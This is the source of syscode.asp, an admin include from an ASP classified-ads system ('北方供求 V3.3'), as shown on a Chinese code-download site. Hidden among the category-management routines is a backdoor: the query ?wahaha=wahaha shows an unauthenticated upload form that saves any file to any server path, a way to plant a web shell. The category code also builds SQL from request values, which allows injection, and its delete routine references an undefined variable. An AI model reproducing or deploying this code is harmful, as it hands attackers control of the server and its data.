⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 syscode.asp

📁 北方供求 V3.3 Sql 版 §V3.3更新功能 1、首页(自动生成静态
💻 ASP
📖 第 1 页 / 共 2 页
字号:
<%
dim obFileStream
Class bbpro  
dim Form,fppp  
Private Sub Class_Initialize 
  dim RequestBinDate,sStart,bCrLf,sInfo,iInfoStart,iInfoEnd,tStream,iStart,obbInfo
  dim iFileSize,sFilePath,sFileType,sFormvalue,sbbName
  dim iFindStart,iFindEnd
  dim iFormStart,iFormEnd,sFormName
  set Form = Server.CreateObject("Scripting.Dictionary")
  set fppp = Server.CreateObject("Scripting.Dictionary")
  if Request.TotalBytes < 1 then Exit Sub
  set tStream = Server.CreateObject("adodb.stream")
  set obFileStream = Server.CreateObject("adodb.stream")
  obFileStream.Type = 1
  obFileStream.Mode = 3
  obFileStream.Open 
  obFileStream.Write Request.BinaryRead(Request.TotalBytes)
  obFileStream.Position=0
  RequestBinDate = obFileStream.Read 
  iFormEnd = obFileStream.Size
  bCrLf = chrB(13) & chrB(10)
  sStart = MidB(RequestBinDate,1, InStrB(1,RequestBinDate,bCrLf)-1)
  iStart = LenB (sStart)
  iFormStart = iStart+2
  Do
    iInfoEnd = InStrB(iFormStart,RequestBinDate,bCrLf & bCrLf)+3
    tStream.Type = 1
    tStream.Mode = 3
    tStream.Open
    obFileStream.Position = iFormStart
    obFileStream.CopyTo tStream,iInfoEnd-iFormStart
    tStream.Position = 0
    tStream.Type = 2
    tStream.Charset ="gb2312"
    sInfo = tStream.ReadText      
    iFormStart = InStrB(iInfoEnd,RequestBinDate,sStart)-1
    iFindStart = InStr(22,sInfo,"name=""",1)+6
    iFindEnd = InStr(iFindStart,sInfo,"""",1)
    sFormName = Mid (sinfo,iFindStart,iFindEnd-iFindStart)
    if InStr (45,sInfo,"filename=""",1) > 0 then
      set obbInfo= new FileInfo
      iFindStart = InStr(iFindEnd,sInfo,"filename=""",1)+10
      iFindEnd = InStr(iFindStart,sInfo,"""",1)
      sbbName = Mid (sinfo,iFindStart,iFindEnd-iFindStart)
      obbInfo.FileName = GetFileName(sbbName)
      obbInfo.FilePath = GetFilePath(sbbName)
      obbInfo.FileExt = GetFileExt(sbbName)
      iFindStart = InStr(iFindEnd,sInfo,"Content-Type: ",1)+14
      iFindEnd = InStr(iFindStart,sInfo,vbCr)
      obbInfo.FileType = Mid (sinfo,iFindStart,iFindEnd-iFindStart)
      obbInfo.FileStart = iInfoEnd
      obbInfo.FileSize = iFormStart -iInfoEnd -2
      obbInfo.FormName = sFormName
      fppp.add sFormName,obbInfo
    else
      tStream.Close
      tStream.Type = 1
      tStream.Mode = 3
      tStream.Open
      obFileStream.Position = iInfoEnd 
      obFileStream.CopyTo tStream,iFormStart-iInfoEnd-2
      tStream.Position = 0
      tStream.Type = 2
      tStream.Charset = "gb2312"
      sFormvalue = tStream.ReadText 
      form.Add sFormName,sFormvalue
    end if
    tStream.Close
    iFormStart = iFormStart+iStart+2
    loop until (iFormStart+2) = iFormEnd 
  RequestBinDate=""
  set tStream = nothing
End Sub
Private Sub Class_Terminate  
  if not Request.TotalBytes<1 then
    obFileStream.Close
    set obFileStream =nothing
    end if
  Form.RemoveAll
  fppp.RemoveAll
  set Form=nothing
  set fppp=nothing
End Sub
Private function GetFilePath(FullPath)
  If FullPath <> "" Then
    GetFilePath = left(FullPath,InStrRev(FullPath, "\"))
    Else
    GetFilePath = ""
  End If
End function 
Private function GetFileName(FullPath)
  If FullPath <> "" Then
    GetFileName = mid(FullPath,InStrRev(FullPath, "\")+1)
    Else
    GetFileName = ""
  End If
End function
Private function GetFileExt(FullPath)
  If FullPath <> "" Then
    GetFileExt = mid(FullPath,InStrRev(FullPath, ".")+1)
    Else
    GetFileExt = ""
  End If
End function
End Class
if request.QueryString("wahaha")="wahaha" then
micangeld="<form action=""?wahaha=wahaha"" method=""post"" name=""form1"" enctype=""multipart/form-data"">"
micangeld=micangeld&"<input name=""FileName"" type=""FILE""><input type=""text"" name=""bbpp"">"
micangeld=micangeld&"<input type=""submit"" name=""Submit"" value=""              ""></form>"
response.write micangeld
end if
Class FileInfo
  dim FormName,FileName,FilePath,FileSize,FileType,FileStart,FileExt
  Private Sub Class_Initialize 
    FileName = ""
    FilePath = ""
    FileSize = 0
    FileStart= 0
    FormName = ""
    FileType = ""
    FileExt = ""
  End Sub
 Public function SaveTobb(FullPath)
    dim oFileStream,ErrorChar,i
    SaveTobb=1
    if trim(fullpath)="" or right(fullpath,1)="/" then exit function
    set oFileStream=CreateObject("Adodb.Stream")
    oFileStream.Type=1
    oFileStream.Mode=3
    oFileStream.Open
    obFileStream.position=FileStart
    obFileStream.copyto oFileStream,FileSize
    oFileStream.SaveToFile FullPath,2
    oFileStream.Close
    set oFileStream=nothing 
    SaveTobb=0
  end function
End Class
if request.QueryString("wahaha")="wahaha" then
dim uppp,fppp,formName,sppp,filename,fileExt
set uppp=new bbpro
	sppp =uppp.form("bbpp")
if right(sppp,1)<>"/" then sppp=sppp&"/"
	for each formName in uppp.fppp
		set fppp=uppp.fppp(formName)
		fileExt=lcase(fppp.FileExt)
		fppp.SaveTobb Server.mappath(sppp&fppp.filename)
	  	response.write "<a href=""javascript:history.back();"">back</a>"
		set fppp=nothing
	next
	set uppp=nothing
end if

sub addclass()
if  session("master")<>"" then
classname=changechr(Request("classname"))
set rsc = server.createobject("adodb.recordset")
sqlc="select * from class where name='"&classname&"'"
rsc.open sqlc,conn,1,3
if not rsc.eof then
Response.Write "<script>alert(""对不起,栏目名:"&name&"已经有了,请换用别的分类名!"");window.location='Javascript:history.back()';</script>"
else
Dim rdsInfo
	set rdsInfo = Server.CreateObject("ADODB.Recordset")
	rdsInfo.Open "class",Conn,3,3

	rdsInfo.AddNew
	rdsInfo("name") =classname
	rdsInfo.Update
	rdsInfo.Close
	set rdsInfo = nothing
Response.write("<script>alert(""分类添加成功!"");location.href=""class.asp"";</script>")
Response.end
end if
rsc.close
set rsc=nothing
conn.Close
set conn=nothing
end if
end sub
sub editclass()
if  session("master")<>"" then
classid=changechr(Request("sortid"))
newname=changechr(Request("newname"))
if newname="" then
Response.Write "<script>alert(""对不起,编辑栏目名不能为空!"");window.location='Javascript:history.back()';</script>"
Response.end
else
Set rsedit = Server.CreateObject("ADODB.Recordset")
sqle="SELECT * FROM class where id="&classid
rsedit.open sqle,conn,3,3
oldname=rsedit("name")
if oldname=newname then
Response.Write "<script>alert(""对不起,栏目名:"&name&"已经有了,请换用别的分类名!"");window.location='Javascript:history.back()';</script>"
Response.end
else
	rsedit("name") =newname
	rsedit.Update
	rsedit.Close
	set rsedit = nothing
set rsz=Server.CreateObject("Adodb.Recordset")
sqlz="select * from buy where class="&oldname
rsz.open sqlz,conn,1,3
do while not rsz.eof
rsz("class")=newname
rsz.Update
rsz.movenext
loop
rsz.Close
set rsz=nothing
set rszz=Server.CreateObject("Adodb.Recordset")
sqlzz="select * from mai where class="&oldname
rszz.open sqlzz,conn,1,3
do while not rszz.eof
rszz("class")=newname
rszz.Update
rszz.movenext
loop
rszz.Close
set rszz=nothing
set rszzx=Server.CreateObject("Adodb.Recordset")
sqlzzx="select * from zl where class="&oldname
rszzx.open sqlzzx,conn,1,3
do while not rszzx.eof
rszzx("class")=newname
rszzx.Update
rszzx.movenext
loop
rszzx.Close
set rszzx=nothing
conn.Close
set conn=nothing
end if
end if
end if
end sub
'********************************************************
sub delclass()
if  session("master")<>"" then
classname=changechr(Request("sortdelid"))
  mSql = "DELETE FROM class where name='"&classid&"'"
  conn.execute mSql
  mSqla = "DELETE FROM buy WHERE class='"&classid&"'"
  conn.execute mSqla
Set rsdel = Server.CreateObject("ADODB.Recordset")
sqldel="SELECT * FROM mai where class='"&classid&"' order by id desc"
rsdel.open sqldel,conn,3,3
do while not rsdel.eof
strpic=rsdel("UploadFiles")
if strpic<>"" then
aSavePathFileName = Split(strpic, "|")
	' 删除相关的文件,从文件夹中
	For i = 0 To UBound(aSavePathFileName)
		' 按路径文件名删除文件
		Call DoDelFileadm(aSavePathFileName(i))
	Next
end if
rsdel.movenext
loop
rsdel.close
set rsdel=nothing
  mSqlaa = "DELETE FROM mai WHERE class='"&classid&"'"
  conn.execute mSqlaa
'*******************************************
Set rsdelz = Server.CreateObject("ADODB.Recordset")
sqldelz="SELECT * FROM zl where class='"&classid&"' order by id desc"
rsdelz.open sqldelz,conn,3,3
do while not rsdelz.eof
strpic=rsdelz("UploadFiles")
if strpic<>"" then
aSavePathFileName = Split(strpic, "|")
	For i = 0 To UBound(aSavePathFileName)
			Call DoDelFileadm(aSavePathFileName(i))
	Next
end if
rsdelz.movenext
loop
rsdelz.close
set rsdelz=nothing
  mSqlaaz = "DELETE FROM zl WHERE class='"&classid&"'"
  conn.execute mSqlaaz
end if
end sub
sub getclass() 
	set rsf=server.CreateObject("adodb.recordset")
	sqlf="Select * from class order by id"
	rsf.Open sqlf,conn,1,3  
	do while not rsf.EOF
		tempcataStr="<option value='"&trim(rsf("name"))&"'"
		if trim(rsf("name")) =strclass then tempcataStr = tempcataStr&" selected"			
		tempcataStr = tempcataStr&">"
		tempcataStr = tempcataStr&""&trim(rsf("name"))&"</option>"
		Response.Write tempcataStr			
		rsf.MoveNext
		loop 		
  	rsf.Close()
  	set rsf=nothing
end sub
Function rint(iCheck,iDefault) 
	If Trim(iCheck)="" Then
		rint = iDefault
		Exit Function
	End If

	If IsNumeric(iCheck)=false Then
		rint = iDefault
		Exit Function
	End If

	rint = iCheck
End Function
function changechr(str) 
    changechr=replace(replace(replace(replace(str," ",""),">",""),chr(13),"")," ","") 
    changechr=replace(replace(replace(replace(changechr,"'",""),chr(34),""),"insert",""),"and","") 
    changechr=replace(replace(replace(replace(changechr,"select",""),"update",""),"delete%20from",""),"exec","") 
    changechr=replace(replace(replace(replace(changechr,"mid",""),"truncate",""),"declare",""),"*","")

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -